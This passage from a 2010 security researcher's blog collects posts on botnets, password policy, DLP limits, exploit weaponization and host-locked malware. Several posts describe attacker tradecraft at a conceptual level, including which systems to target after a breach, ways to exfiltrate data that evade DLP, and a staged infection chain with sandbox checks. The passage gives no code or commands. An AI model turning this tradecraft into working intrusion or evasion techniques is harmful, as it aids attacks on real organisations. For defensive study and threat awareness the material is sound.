This is of course causing increasing heartburn for the mobile telco providers – since their subscription models essentially mean that they’re responsible for cleaning up infected handsets and removing the malicious traffic, much more so than traditional ISP’s are. If a handset is infected, their customer will likely incur a huge bill and (as what typically happens) the Telco will not be able to recover the losses from the customer. Attempts to recover the cost from the customer will increasingly yield two results – 1) they won’t be a customer any longer and 2) the negative PR will have them rolling in pain.

Fortunately, as the cellular botnets become more common and sophisticated in their on-device functionality, they’re also going to become more mainstream and closely related to classic Internet botnets. What this means is that their CnC channels and infrastructure will increasingly be close to (or the same as) “standard” botnets. Which in turn means that cellular botnets can be thwarted at the network layer within the mobile Telco operator’s own networks (similar to what some major ISP’s are trialing with their residential customers) – thereby turning the threat in to something that they can protect against. How is that possible? Well, a quick browse of the Damballa website should provide a fair bit of insight in to that – and perhaps I’ll post a follow-up blog on key techniques sometime soon.

Forgotten Password?

2010-07-12T18:07:00.000-07:00

The increased proliferation of malware and botnet agents designed to rapidly intercept, retrieve and copy the passwords you use on a daily basis to access Internet resources likely means that it may be time to revisit many of those longtime-standing password policies. Given all the "best practice" guidelines I've seen over the years, I think that (in practical terms) they're increasingly missing the mark in defending against today's threat landscape.

One particular "best practice" that I think needs to be re-thunk... "don't write your password down."

I blogged a little more on the topic over on the Damballa site... It's safer to write your password down...

-------

Common wisdom over the last couple of decades has been to never write down the passwords you use for accessing networked services. But is now the time to begin writing them down? Threats are constantly evolving and perhaps it’s time to revisit one of the longest standing idioms of security – “never write a password down”.

Back in the day, a password was a critical part of the corporate identity system. You supplied your user ID and password pair in order to get online and to access key corporate resources. Access controls then extended the authentication model to enable greater control of what users could see, do and change. As new systems came online, and as business extended beyond the in-house corporate networks, additional (i.e. separate) authentication systems came in to play. Despite multiple attempts at developing and deploying single sign-on (SSO), most employees still need to juggle a dozen passwords in order to do their work. If they have external Internet accounts as well, then they’ll be juggling several dozen additional passwords. Once you thrown in their personal Internet accounts (webmail, Twitter, Facebook, LinkedIn, PayPal, Amazon, etc.) you’re quickly neck-deep in password soup.

Whats traditionally been the problem with writing down password anyway? Well, since passwords are the critical ingredient for access control, corporate security teams have long “educated” employees in to never writing them down. To do so would potentially expose yourself to impersonation – and you’d ultimately be responsible for whatever (damage) the impersonator did in your name.

In the meantime, Internet guides, popular PC magazines, and practically every website that forces you to create a login account, all extol the virtues of never writing your passwords down. They also give you lots of additional advice – such as “use a strong password”, “use a unique password”, “never use the same password on a different site”, etc. All of which make it incredibly difficult for any practically minded human to keep track of which password belongs to which website. The net result being that the “password rules” are being repeatedly broken.

Now, to ease some of this burden, there have been a spurt of software tools that’ll help remember passwords on your behalf. For example, the popular web browsers all provide some capability in this area. The problem though is that the bad guys have better tools. Practically all of today’s malware(along with all those botnets you hear about each day) have the built-in capabilities of grabbing/stealing both the passwords you’ve remembered and type in each time you visit a favorite website, and the passwords being conveniently “remembered” by the software on your computer.

Why would writing down a password be good? Well, it’s not a question of being good – just better. Granted, anything you type on your computer can (and will) be grabbed by the malware it’s been compromised with- but the lowest hanging fruit for the bad guys lies with all the stuff you’ve already asked your computer to remember on your behalf. After 3 months of use, web browser “remember” functions may have captured 50+ sets of authentication details. Within a few seconds of computer compromise, all three moths worth of stored credentials will have been copied and stolen (oh, and they’re neatly formatted and sorted) – so the malware doesn’t need to do any work, and it doesn’t matter if your anti-virus software gets an update tomorrow capable of detecting the malware and removing it. The damage is already done.

Staying hidden on a victims computer is not a trivial task for many malware – particularly wide-spread Internet malware (anythingwith a name you may have read about). There are lots of things that can go wrong. AV updates may detect the infection, dropper websites may be taken down, uploading sites may be sinkholed, CnC domains may be hijacked, etc. so it’s become important for modern malware to steal as much information as possible within the shortest possible time. Factors such as conveniently storing all your authentication details on your computer and recycling popular (i.e. memorable) passwords reduce the time the malware needs to be operating in order to steal critical data.

What about a few high-level odds?

1:3 – home PC being infected with malware with password stealing capabilities in a given year.
1:4 – home PC being infected with a botnet agent in a given year
1:8 – corporate PC being infected with malware with password stealing capabilities in a given year
1:12 – corporate PC being infected with a botnet agent in a given year
1:160 – your car being stolen in a given year
1:700 – your home being burgled
1:600,000 – being struck by lightning

I think it’s time to revisit the “never write a password down” idiom. Prioritizing best practices in password management, I’d be inclined to list them in the following order:

Don’t use the same password on multiple websites
Don’t let your computer “remember” your password!
Use a “strong” password – preferably something with 12+ mixed characters
Don’t use a predictable algorithm – e.g. abc123
Change your passwords regularly. For sites with lots of personal information and associated monies, change every 2-3 months. For other sites, try every 6-12 months.
Don’t reuse past passwords – even if you think it’s a cool password.
Don’t write your password down.

Yes, that’s right – writing down your passwords come in at a distant 7th place. In practical terms, even if you only manage the first 4 on the list, you’re probably going to be juggling at least a couple of dozen passwords (or more thank likely that’ll be 40+ on a regular basis for most people that spend any time online). The probability that your computer(s) will be compromised and that the information will be stolen by the bad guys malware is much, much greater than the probability that someone will manage to break in to your house and target all the post-it notes you’ve stuck around your screen with all your passwords on them. In corporate environments there’s a higher probability that the evening cleaning crew would gain visibility of he passwords (so post-it notes aren’t to be recommended), but that risk of an insider threat is still going to be lower than your work computer being compromised.

The first 6 password recommendations would trump the 7th in most cases – provided you take care in how and where you write your passwords down. Be smart about it… but don’t underestimate the risks posed by modern malware either.

Gold dust or Nuggets? A Hackers Tell

2010-06-22T19:35:00.001-07:00

After a hard day's conferencing, security folks will typically end up in the hotel bar and, with odds often appearing to be in excess of 3:1, the conversation will inevitably encompass a discussion of which internal corporate systems are the most hacked/vulnerable/indefensible.

If the migratory cluster of bar stools and hotel chairs encircling the obligatory way-too-small table contains more than a pair of reformed hackers or pentesters, by listening in you'll end up gaining quite a bit of insight in to why the better hackers are so often successful (and you'll probably also pick up a few tell's for future reference).

While there's much literature and many tutorials to be found that explain the technical aspects of how to successfully compromise corporate defenses, exploit systems and ultimately extract data, there's actually very little "guidance" on which systems should be targeted and why, once you've breached the network. Sure, there's plenty of discussions covering the technical aspects of how to raise privileges (e.g. locating and exploiting the Active Directory server in order to acquire corporate user/admin credentials etc.), but which systems really provide the treasure trove?

Quite a few folks I've been speaking with will initially (and specifically) target the systems used by the corporate security teams. These systems are important for a couple of reasons; 1) internal security folks often have good access to a wide range of other systems that may be valuable and 2) By keeping an eye on the "watchers" you'll know when you're close to being caught and can stay a couple steps ahead. Personally, I think it's a ballsy move if you can pull it off - but it's not something I'd throw in as a priority. There are a lot of inherent risks in trying to tackle systems maintained and watched by the professionally paranoid - so it may be more prudent to gather better intel first.

Another primary target for some folks is to go after the obvious corporate data repositories - the backend databases, business intelligence systems and storage facilities. This mode of attack I'd associate much more with the quick "get in and get out of dodge as fast as you can" - maximizing the potential reward by sacrificing (IMHO) a fair degree of stealthiness and persistence. If typically works very well - and is an ideal tactic for "compelling result" penetration testing or hackers looking for rapidly monetizable data.

A tactic that I've always preferred (dependent upon the specific objectives of the pentest of course) is to initially locate and target the QA systems. For the folks that target the corporate secuity systems or go after the official data repositories, going after the QA systems sounds not only unexciting but also like a complete and utter waste of time. But hear me out first. QA systems really are a veritable treasure trove of corporate data. Consider the following:

Like a smelly hobo camped outside a high-street McDonalds, both security analysts and helpdesk alike tend to keep their distance from (what are typically) "unmanaged" QA systems.
QA systems often contain complete copies of the high-value corporate data so that development teams and QA/Testing personnel can actually test the applications correctly. You'll often also note that the more "valuable" a particular suite of data, application or business process is, the higher the probability that the QA copies of the data will in fact be real-time mirror images of live data.
Nobody ever "owns" the QA systems. They're always the last systems to get patched (if ever) and access controls typically hover between poor and non-existent.
When was the last time anyone bothered to look at the audit logs? With so many ad-hoc system use, trials and testing, it's a nightmare from both a detection and forensics perspective. QA systems are an ideal place to recon an enterprise network from and retain a persistent toe-hold within the organization.
QA systems typically have "temporary" access to to all the core business systems and data repositories within a corporate network. By "temporary" I mean in theory if you listen to the server administrators - in practice they can be considered permanent gateways.
Testing systems are typically littered with copies of entire development source code trees - making it a piece of cake to acquire the latest business logic, intellectual property or hard-coded/embedded passwords to other critical systems within the corporate entity.

Sure, there's plenty of other opportunistic systems to go after within a target's organization once they've been breached, but with all other factors being equal, there are certain tactical tell's that can be readily associated with the types of hackers and pentesters out there (the previous three just being examples I heard/discussed repeatedly over the last couple of weeks).

The primary objectives and "styles" of the hackers/pentesters reminds me a little of those old Western gold-rush films. Rounding up the Sheriff and his deputies and locking them up in their own jail before robbing the bank is a little analogous to going after the security folks/systems. Meanwhile the priority targeting of the corporate data repositories reminds me of a stagecoach robbery - the pounding of hooves and guns blazing. Yet going after the QA systems reminds me of a movie in which the villains dig up the ground under the saloon and casino - hoovering up all the gold dust that patrons had lost over the years through the cracks in the floorboards.

Grab a beer with a friendly hacker or pentester and ask them how they'd earn their gold.

Anti-FUD FUD

2010-05-29T07:27:00.000-07:00

Like the cycling of the moon, the security industry also exhibits periods of waxing and waning on particular issues.

At the moment it looks like were entering the Waxing Gibbous stage for anti-FUD (Fear, Uncertainty and Despair) movement. In recent weeks the proliferation of calls to deal with FUD within the security industry has picked up. Depending upon the particular sector, you'll encounter discussions about overcoming the fears associated with shifting data in to the cloud, why "advanced" threats aren't so important if the bulk of attacks don't need to be, etc.

As you'd expect, there are quite a few security folks who make their dime by being vocal about a particular topic, and it's that time of the cycle that the anti-FUD speeches get dusted off and replayed. That's not to say that the anti-FUD folks are unique. There's an biannual waxing and waning to the Full Disclosure movement too, along with annual revisits to the topic of Vulnerability Purchasing Programs, etc.

The anti-FUD movement consequently promotes their own kind of "FUD" - speculating that the world would be a better place if FUD ceased to exist in the security world, and that organizations would be better able to prepare their defenses without the distractions of the next biggest threat.

Some aspects of the anti-FUD cause I might just agree with, but in general I'm less inclined to to follow much of rhetoric from die-hard security officinardos. Why? Well, for the most part, many of their statements are naive in that they obviously fail to understand the world they live in. Listening to them you'd think this is an IT security problem - but in reality "FUD" is a critical element of the sales cycle - regardless of whether you're selling car tires or anti-zit cream.

Every second car advertisement on TV extols the virtue of their safety features, even drunk-driving and "wear your seat-belt" literature distributed state authorities cover the gruesome consequences of not following the rules and taking appropriate actions. FUD gains the attention of the viewer/reader, educates them in some capacity and makes them think more about the consequences of their actions (or inaction's).

FUD is everywhere - just watch the ads covering Zit cream and Tampons on TV, and you'll get the idea. FUD is a critical element of the sales cycle by eliciting a reaction to the message (generally - aiming for a buying reaction).

Folks that jump on their anti-FUD high horses, from my own experience, tend to struggle with commercial sales because they fail to understand what FUD is all about - education, compulsion and sales.

Having said all that, lets not go to the other extreme though. In order to make their FUD more compelling and elicit a greater compulsion for listeners, some sales folks will stretch the truth in to the realm of fiction. These folks need to be quickly reigned-in by the company paying their paycheck. To do otherwise would inevitably result in pissed off customers and a loss of business.

Final thoughts? The security industry is no different from any other industry with innovative products aimed at solving the problems of today and the future. FUD is a way of life, get used to it.

Rusting Credit Cards

2010-05-10T07:00:00.000-07:00

OK, so you know that the back of your credit card has a magnetic stripe on the back of it. Did you know that it can store three tracks of data, but only two are actually used for credit card transactions? Did you also know that the third line of data was hoped to be able to contain a digital photograph of the the card owner? (but its damned hard to fit a photo in to that few bits of data).

If so, did you know you can actually see the data encoded on your card?

Over the weekend I stumbled upon a very interesting blog titled "Another Science Experiment" covering the use of finely ground rust dust to see how the data is encoded on to standard credit card magnetic tracks.

I'll let the photo's below do the talking...

Military Grade Malware (Part 1)

2010-05-09T07:38:00.000-07:00

Not all malware is created equal. Of the 50k-80k new and unique malware samples received daily by the mainstream anti-virus companies, there's a lot of scope for variety. Most of the samples are merely serial variants being pumped out as part of a barrage of criminal campaigns, and then there's a sizable handful of custom crafted malware that (for the most part) is generally unsophisticated botherware and spyware, but occasionally you'll uncover a few very crafty and sophisticated malware samples mixed in there.

In a lot of cases, these particularly sophisticated malware samples only manage to get caught up in the wash of general malware samples because of some circuitous and "unlucky" compromise paths - or because they're several months old and the "discoverers" have finished reaping the reward of having investigated them. Most of the really interesting bespoke malware samples rarely come via mainstream discovery and sample sharing systems though - in fact the majority of them rarely go beyond the virtual walls of the organization or government department that were targeted or victimized by them.

Given all the discussions about Advanced Persistent Threats (APT), Advanced Malware and Next Generation Malware (NG Malware), I thought it was about time to disclose some of the techniques being used within the commercial world in the production of such sophisticated malware... hence this blog entry being the first in a series covering "Military Grade Malware".

Military Grade Malware
I use the term "Military Grade Malware" to encompass the following key concepts:

A legal contractual agreement exists between the professional software development team and the purchasing organization.
The expectation is that the "product" will be used for purposes beyond financial and criminal fraud.
The intended distribution of the malware will be limited in scope and typically only be deployed in very specific environments.
The malware is designed to be stealthy and continue to operate for extended periods of time - typically against a sophisticated adversary.

Why are these important? The vast majority of malware circulating around the Internet and infecting both home and corporate systems are clearly designed for criminal purposes. More often than not, they're heavily weighted towards data theft and financial fraud. While the authors of the malware may or may not be criminals themselves (e.g. many of the popular DIY construction kits are sold commercially, by licensed companies, as "Remote Administration" tools) - they are designed to operate on popular operating systems and commodity hardware.

In the past I've used the term "weaponized" to encompass malware that makes use of exploit material as part of its critical operations - but this term only extends so far.

Exploit Weaponization
There are plenty of boutique security consulting organizations out there that offer "weaponization" services. They will typically review and study the latest vulnerability disclosures, develop reliable exploits for use against specific operating systems (e.g. an exploit for a popular Vietnamese instant messaging client running on Microsoft Windows XP SP3 with the Vietnamese language pack installed), and pass the final QA-checked exploit on to their client.

Most of the organizations I've come across that provide this kind of service have strong affiliations with their local government. That said though, a handful of them are more mercenary and will provide their weaponized exploits to other "friendly" governments. I'll point out at this stage though that this is a wholly different arrangement compared to vulnerability research teams working within companies that develop commercial vulnerability scanning and exploitation tools.

The provisioning of (reliable) weaponized exploits will generally be governed by formal legal contracts. It's not easy work though. Many people see the plethora of public vulnerability disclosures and hear about the odd zero-day exploit doing the rounds, but the development of reliable exploits that meet the contractual demands of the client is not a simple task. A company that can deliver a half-dozen ruggedly reliable weaponized exploits each year is doing very well - and will be compensated accordingly.

Malware Weaponization
The weaponization of malware in my opinion generally only encompasses the binding of a "standard" malware component to a particularly good/reliable/weaponized exploit.

For example, a client may have a preferred Remote Access Trojan (RAT). This RAT is consequently bound to the latest weaponized exploit - i.e. the RAT is merely the payload of the successful exploitation.

In another example, a versatile malware agent may support a library of exploits that it can use to worm and propagate around a targeted network. In this case, the weaponized exploit is constructed to be compatible with the malware agent and is added as an "update".

Both examples would fulfill the generic term "weaponized malware", but there is a difference between this type of malware and what I'd tend to term "Military Grade" malware, since military grade malware may or may not actually make use of weaponized exploit materials.

What are the features and techniques of military grade malware? I'll begin to cover those details in subsequent blog posts...

Paste Bin & Card Dumps

2010-05-09T07:31:00.000-07:00

Trawling around for stolen credentials and identity information - in the form of criminal cast-offs and sales samples - can be an interesting endeavor if you're looking to understand the current state of credential laundering. One growing repository for such information are all of the various paste bin repositories (of which there are dozens of popular sites).

Earlier this week I discussed the topic over on Damballa's blog site in the entry titled: A Treasury of Dumps. The blog provides a few samples of whats available and how the criminals are using them to augment their search for potential sellers.

Botnet Operations: Running a Campaign

2010-05-04T11:38:00.000-07:00

"One bullet, one kill" - isn't that some kind of sniper saying from the movies? If you're a professional botnet operator you're not going to want to loose control of your favorite botnet just because some damned whitehat managed to take down a single command and control (CnC) server.

With that in mind, you're also probably not going to want to build your botnet in a way that its growth is reliant upon a single infection vector or content distribution vehicle. The solution nowadays lies with the strategy of running multiple campaigns against your targets.

Just as political contenders running for office unleash a barrage of sophisticated and targeted campaigns to draw in supporters, professional botnet builders similarly unleash their own barrage of targeted campaigns - looking to sucker en mass their victims.

To understand botnet building campaigns a little better, I've thrown up a blog on the topic over at the Damballa site - Botnet Building Campaigns.

Opt-in Botnets

2010-04-26T13:52:00.000-07:00

As businesses and governments have moved their presence online, protesting and other public forms of disaffection against them have followed. Growing numbers of people have been motivated to take up the cyber-equivalents of protest placards, highway sit-downs and Molotov cocktails.

The last few years have shown a steady increase in the sophistication of the tools and tactics the disaffected use online. Social networking applications, Web 2.0 technologies and the general availability of what can best be described as “military grade” cyber attack tools make it a trivial task for protestors to launch crippling attacks from anywhere around the world.

The massive adoption of social networking portals and micro-blogging services in turn created a new generation of centralized Command-and-Control (CnC) capabilities that quickly and easily organize protests for international participants from all walks of life. The simplicity with which these technologies can be leveraged for attack coordination against governments and commercial organizations cannot be underestimated.

A second generation of cyber-protesting tools has emerged, encompassing a disturbing blend of criminal technology and activist enthusiasm. A growing number of movements are asking their members to deliberately install botnets on their hosts and within their networks in order to participate in more sophisticated and effecting cyber-protests.

Botnets have always been considered a severe threat that removes PCs and servers from IT control. However, botnet compromises have always come from the accidental and unknowing installation of bot malware. The purposeful and intentional acceptance of bot malware, however laudable the cause, presents a dangerous challenge to any organization concerned about maintaining control over network assets and demonstrating proper fiduciary responsibility.

In short, the introduction of social networking CnC and an increasingly diverse range of motivations and common-cause group memberships is opening the doors to new cyber-protesting possibilities – and to criminal misappropriation of hacktivist botnets. This whitepaper examines the evolutionary path of opt-in botnets, including how tactics have changed, why anyone would willingly choose to join a botnet, and what activist botnets mean to organizations that find themselves both victims and enablers of a botnet-driven attack.

Recruiting: Threat Analyst @ Damballa

2010-03-29T11:33:00.000-07:00

OK readers, I've got a roll open right now in the Damballa research team for a Threat Analyst.

If you think you know your Bot's from your APT's, and your script-kiddies from your cyber criminals, then it's time to take the plunge and join the coolest threat research team out there and make a real difference to Internet security.

Drop me an email if you're interested in the role...

-----------------

Job Position: Threat Analyst
Job Area: Research

Internet security is evolving at an increasingly rapid pace. As the thrust and parry of attack vectors and defensive tactics force technologies to advance, the biggest security threat now facing enterprise organizations lies with botnets. The Damballa Research team spearheads global threat research and botnet detection innovation.

Damballa’s dedicated research team is responsible for botnet threat analysis and detection innovation. From our Internet observation portals, and using the latest investigative technologies to intercept and capture samples, the research team studies the techniques employed by criminal botnet operators to command and control their zombie hordes – mapping their spread and evolution – and developing new technologies to both detect and thwart the threat.

As a Threat Analyst you would be part of the team responsible for providing the threat intelligence that powers the core technologies of Damballa’s products – working with massive threat intelligence collections and cutting-edge botnet detection technologies.

The rapid evolution of the threat means that, as a Threat Analyst, you will also need to be able to deep-dive in to the botnet masters lair – turning over the rocks they hide under and visiting the online portals they do their business in – and be capable of analyzing the evidence of their passing. A key to being successful in this role is the ability to provide internal departments and customers with comprehensive intelligence on newly uncovered botnets and other targeted threats – and to be able to communicate the threat in a clear and concise manner.

Collaborating with the marketing and engineering teams, the Threat Analyst will often need to craft scripts to automate the extraction of botnet intelligence and make it available to the company’s other technologies and its knowledgebase as well as responding to ad-hoc requests for malware analysis driven by business and client needs to determine characteristics, functionality, and/or recommend countermeasures.

The position may entail interaction with the media following the successful outcome of directed research or response activities.

Responsibilities:
• Intelligence gathering and updating of Damballa threat knowledgebases
• Responding to customer queries for deep-dive information on particular botnets and malware
• Independent threat analysis and data mining of new botnet instances
• Investigation of new botnet command and control tactics and subsequent enumeration of botnet operators
• Focused analysis of botnet outbreaks within enterprise and ISP networks
• Contribution to research and commercial papers describing the evolving botnet threat

Skills & Experience:
• Experience as a cyber-threat analyst, or similar technical consulting role
• Good understanding of TCP/IP networking and security
• Strong script building and automation skills
• Database query formulation and stored procedure manipulation
• Ability to troll underground Internet forums and criminal sites/portals for new botnet intelligence

Requirements:
• BS or MS in Computer Science, Engineering or Physical Sciences
• 3+ years of IT industry experience with 2+ years of Internet security experience
• Proficient in multiple compiled and scripting languages (Perl, Python, Ruby, Java, C, etc.)
• Proficient query design in relational databases (Postgres/pgsql preferred)
• Excellent formal communication and presentation skills
• Ability to read and translate multiple international languages a bonus

Worthless Digital Security Advice

2010-03-26T07:53:00.000-07:00

Some advice isn't worth the paper it's written on - more so if it happens to written in digital ink. Sure, security software tends to eat up a sizable chunk of your desktop's processing capabilities and can be downright annoying when the antivirus engine decides on an impromptu full-disk scan in the middle of the video editing you were doing... but sure;y we can do without advice like the following:

This is from CNNMoney and their story on how to "Speed up your sluggish computer".

Granted there are many sucky protection suites out there (and many more fake-antivirus products that criminals are peddling), but this particular advice entry is unhelpful and funny at the same time.

Firstly,this particular advice is ill informed. Sure, there are some overlaps in protection capabilities like anti-popup blockers and firewalls, but only on paper. They're complementary overlaps, as their capabilities to perform (and be managed) as pop-up blockers and firewalls tend to be quite different and increase overall. Defense in depth etc. Sure - like I said earlier - desktop protection is a dog on system resources.

Secondly, while I have nothing against ESET's Nod32 Antivirus product (I even use it on a couple of my computers at home - along with a handful of other av products), reference in this "guide" for speeding up sluggish computers smacks of a paid-for advertisement. Further depreciating the advice.

Third and final? "The Mac Fix" funnily enough is true - Mac users tend to not use security software. Like motorcycle riders swerving amongst rush hour traffic on the highway without a helmet, I'd class these Mac users as "temporary citizens" of the Internet.

Botnet Prevention with DLP Technologies

2010-03-21T18:40:00.000-07:00

Last week I was asked a couple of times how good Data Leakage Prevention (DLP) products are at protecting against botnets. Before I get started describing the pro's and con's of DLP in combating professional botnet operations, there are a few things I probably need to make clear - as it'll help add some perspective to the angle I'm coming from.

As you probably already know, I spent a fair amount of time developing and improving Intrusion Prevention System (IPS) technologies in my tenure with ISS (and then later, under IBM). During that time there were a number of market dynamics that required me to spend quite a bit of time reviewing, analyzing and evaluating the various DLP technologies - both at the host and then network levels. In general though, I was not impressed with the technology - and still aren't. From my perspective, DLP is a bit of a white elephant and is probably going to go down in the annuls of Security History in the chapter next to NAC. Don't get me wrong, as a concept DLP has its place, but in practice it fails to provide any compelling features that aren't (or can't be) delivered using other more common (and existing) enterprise security technologies.

Now, being a networking kind of guy, the thing I find most interesting about network-based DLP is the show and dance the various DLP vendors make about Deep Packet Inspection (DPI) - you'd almost think that they invented the technology and that it only to DLP. Lets get this straight from the beginning - DPI existed within IPS (and IDS) for 5+ years before even the first DLP companies became incorporated and, whats more, products like ISS' Proventia fully parse many hundreds of networking and content-level protocols - many times more than even the most mature dedicated DLP product out there.

So, if you're thinking DLP is a new and vital technology to roll out in your enterprise (particularly at the network layer), my advice would be to look to a top-tier IPS appliance instead because you'll find better protocol and content inspection coverage, and higher capabilities in inspecting traffic for critical data leakage. One day I'd love to see a head-to-head appliance review of the various vendors products detecting and defending against all the most common data leakage techniques/tactics.

DLP and Botnets
So, how useful is DLP in combating botnets? First of all, we obviously need some degree of clarification about "combating botnets". Lets break this down in to three separate botnet attack phases:

Preventing hosts from becoming botnet victims,
Detecting and stopping the leakage of confidential corporate information,
Cleanup and remediation of bot infected victims.

Preventing hosts from becoming botnet victims
In order to understand DLP capabilities in preventing hosts from becoming botnet victims (from a network perspective), we need to bear in mind the limitations of DPI and the most common mechanisms hosts succumb to being compromised and joining a botnet.

Criminals leverage a broad spectrum of attack vectors in order to compromise their target - with the most common being spam/phishing emails that convince the user to infecting themselves, malicious drive-by-download sites the exploit vulnerabilities in the Web browser and removable media worming (e.g. USB devices). Unless the DLP solution is configured to watch inbound network traffic and scrutinize URL's (perhaps using a URL blacklist for checking against), the probability of detecting the malicious payloads is remote - and anti-spam and perimeter Web gateway technologies would be a much more effective solution here. IPS technologies would also excel in dealing with the exploits being used to compromise the Web browser vulnerabilities.
Inspection of the HTTP/FTP/etc. downloads or email attachments is of course possible - but it will be a struggle to to identify the malicious intent of the binary files, but should best be dealt with using anti-virus technologies - particularly products with good behavioral analysis engines and, in a pinch, virtual/sandbox dynamic-analysis of malware.

I think you would be hard pressed to use DLP technologies as an effective tool for preventing hosts from becoming botnet victims.

Detecting and stopping the leakage of confidential corporate information
Detecting the information leakage from bot infected hosts should be an easy task - after all, that's supposed to be DLP's bread and butter. Unfortunately it's not quite as easy as it sounds.

The signatures (or "fingerprints") DLP devices use are generally tuned to specific forms of structured data. For example, SSN's, credit card details and address details have a specific structure. As such, DLP solutions are generally good at spotting this kind data being transmitted across a network and leaking from the enterprise (just as IPS's can too). As such, DLP appliances can easily detect the "clear text" transport of these kinds of data.
Unfortunately, botnet operators tend not to transport/extract confidential data past perimeter inspection/detection technologies in "clear text". Obviously, if the bot agent chooses to transport the data to a remote server over HTTPS, then all the traffic will be encrypted. But botnet operators don't even need to do that...
Purchasing, managing and configuring Web server certificates for HTTPS can be tedious and can often result in "invalid certificate" alerts - which would in turn alert the user of any folks inspecting the system logs. As such, many botnet operators have decided to not use HTTPS - instead they extract their stolen data over un-encrypted HTTP, but they compress and encrypt the data they're stealing from on the victims machine before sending. I.e. the transport is unencrypted, by the file being transferred is itself encrypted and cannot be inspected by DLP (or any other DPI technology).
Armed with a blacklist of known botnet Command and Control (CnC) channels or file drop-boxes, the DLP solution could keep watch over who the victim system is communicating with and block those - but there are already plenty of IP/Domain/URL blocking technologies already out there that are more efficient.
It's important to understand that many professional botnet operators have moved away from stealing classic datasets (e.g. credit card details, SSN's, etc.), and towards more valuable datasets (e.g. software source code, CFO banking credentials, prototype designs) - which happen to be considerably more difficult to detect with DLP technologies (especially if the data is encrypted of course).
DLP is limited to specific protocols and specific file/attachment types for inspection. To evade detection, the criminal botnet operator just needs to use an "unsupported" protocol/format.

Cleanup and remediation of bot infected victims
Well, I can't think of anything that DLP offers in this realm.

Clobbering Botnets with DLP
In general, DLP makes for a very poor anti-botnet technology. DLP is adequate enough detecting the simple stuff - e.g. a user sending an email with 10,000 credit card details - but is ill positioned to detect an automated bot agent obfuscating or encrypting a compressed file of corporate secrets.

In fact, as far as I'm concerned, I can't really see a reason for it existing as a separate security technology anyway. Existing IPS technologies and signatures include just about all of the data leakage detection features already.

That all said, DLP is probably adequate enough for detecting stupid user mistakes, but useless for combating professional criminals - whether they're botnet operators or insider threats.

Comment Spam and SEO Campaign Apology

2010-03-19T13:43:00.000-07:00

By way of an update to yesterdays blog covering my concerns over a comment spam and SEO campaign by Sophos (of which this blog was one such target), I received an apologetic email from Sophos early this morning and we exchanged a couple of followup responses.

Here's some of this morning's email apology:

I am mortified, as is everyone in our marketing team, that this has happened.

The messages were not posted on that guy's blog by an employee of Sophos, but by a worker at an external company hired by our marketing department.

We have called the company concerned in for a meeting today, and will be reading the riot act to them. Furthermore, we will be ensuring that this kind of activity stops immediately, as it runs counter to everything we believe in as a computer security company.

There's enough junk on the internet already - we don't need firms representing computer security companies adding to the problem with such inane and unprofessional posts.

We strive to be much much better than this, and on this occasion things went badly wrong. I'm genuinely sorry.

Just so you know, we are going to put better processes in place so that third party agencies understand what Sophos does and doesn't find acceptable in promoting our brand.

Thanks for the quick response Sophos. Apology accepted.

Protecting Your Malware IP Investment

2010-03-18T18:45:00.000-07:00

Competition between malware authors and botnet operators can be fierce at times. Opponents are constantly squaring up and trying to build bigger, better and more "advanced" everything. As such, they're keen to make sure that their latest advances and IP isn't ripped off by a competitor or, heaven forbid, some pesky malware analyst working at an antivirus company.

Earlier this week, a customer asked me what was the smartest and most sophisticated thing I’d seen malware authors doing recently. He was probably expecting me to mention some new toolset feature such as auto-cracking CAPTCHA’s for webmail spamming or the custom advertiser routines for redirecting in-browser advertising… instead, I discussed the new host-locked malware versions that are being experimented with by a number of professional botnet operators.

Three years ago I wrote a paper covering the one-of-a-kind exploitation techniques that were being adopted by drive-by-download distributors and exploit delivery systems. The paper – X-Morphic Exploitation – covers the generation of one-off “custom” exploits and malware that are created for each potential victim visiting the attackers malicious Web site. One of the techniques covered related to the creation and delivery of serial variant malware and how each unique sample was only ever served to a single victim – all as a means of defeating signature-based protection technologies (and, to a smaller extent, bulk analysis of malware samples).

Well, as you’d expect, the threat has moved on. While the X-Morphic exploit delivery platforms have grown more and more popular over the last three years, it would seem that the botnet builders have adopted an additional new (and rather powerful) technique that makes it even more difficult for malware analysts and bulk analysis tools to deal with their malicious bot agents – and it taken right out of the commercial anti-piracy cookbook.

To explain whats going on, it’s probably easiest to step through a botnet infection that makes use of the new technique:

The would-be victim/user is browsing the Internet and stumbles upon a drive-by-download Web page. The page cycles through a number of Web browser vulnerabilities – locates an exploit that will work against the users browser – exploits the vulnerability – inserts a shellcode payload and causes the newly introduced (and hidden) process(es) to execute.
A hidden process downloads a “dropper” file on to the victims computer, and causes it to execute. The dropper may be a custom package created just for this victim (i.e. X-Morphic generated) or one that is being served to all potential victims for that day/week.
The dropper unpacks itself – unraveling all of the tools, scripts and malware agents it needs on to the victims computer – and then proceeds to hide the malicious payload components (e.g. disabling the hosts antivirus protection, turning off auto-updates, modifying startup processes, root-kitting the botnet agent), cleans itself up by removing all redundant files and evidence of the installation activities, and finally starts up the actual botnet agent.
The first time the botnet agent starts up, it does a number of checks to see whether or not it has Internet access (e.g. deciding whether a corporate proxy is in use) and whether or not its running on a “real” victims computer (i.e. that it’s not running in a sandbox or virtualized environment – which would indicate that someone is trying to analyze and study the malware itself). If everything looks good and the coast is clear (so to speak), the botnet agent does a quick system-level inventory of the victims computer (e.g. CPU ID, HDD serial number, network card MAC, BIOS version, etc.) and then makes its first connection to the botnet’s Command and Control (CnC) – registering the victims computer as a member of the botnet, and sending through the unique system inventory data.
In response, the botnet CnC immediately sends an updated bot agent to the victims computer – uninstalling the old agent, and installing the new agent. However, this new agent is specifically created and “locked” to the victims computer – i.e. it is unique to this particular victim and will not run on any other computer.
Once the new “locked” bot agent is installed, it connects to a different CnC server – and the victim’s computer is now fully incorporated in to the criminals botnet, and under their remote control.

Those last three steps are what’s new and innovative, and what’s going to spell the ruin for many of the most important malware analysis tools and techniques antivirus vendors use to combat the malware plague.

By infecting their victims computer with a unique and “locked” version of bot agent (or malware), and ensuring that it will only ever run on that particular victims computer, it means that any samples that may eventually be acquired by the antivirus vendor(s) wont actually be useful to them. Automated analysis systems that take in malware samples from spam traps, web crawlers, etc. and execute them in virtual environments or sandboxes etc. will not yield the real botnet agent for study nor details of the true botnet CnC. Meanwhile, malware samples obtained from forensic retrieval processes or submitted by antivirus customers will not work (e.g. they will either not function maliciously or not execute at all in an analysis environemnt) – because they are encoded and locked specifically to the victims machine.

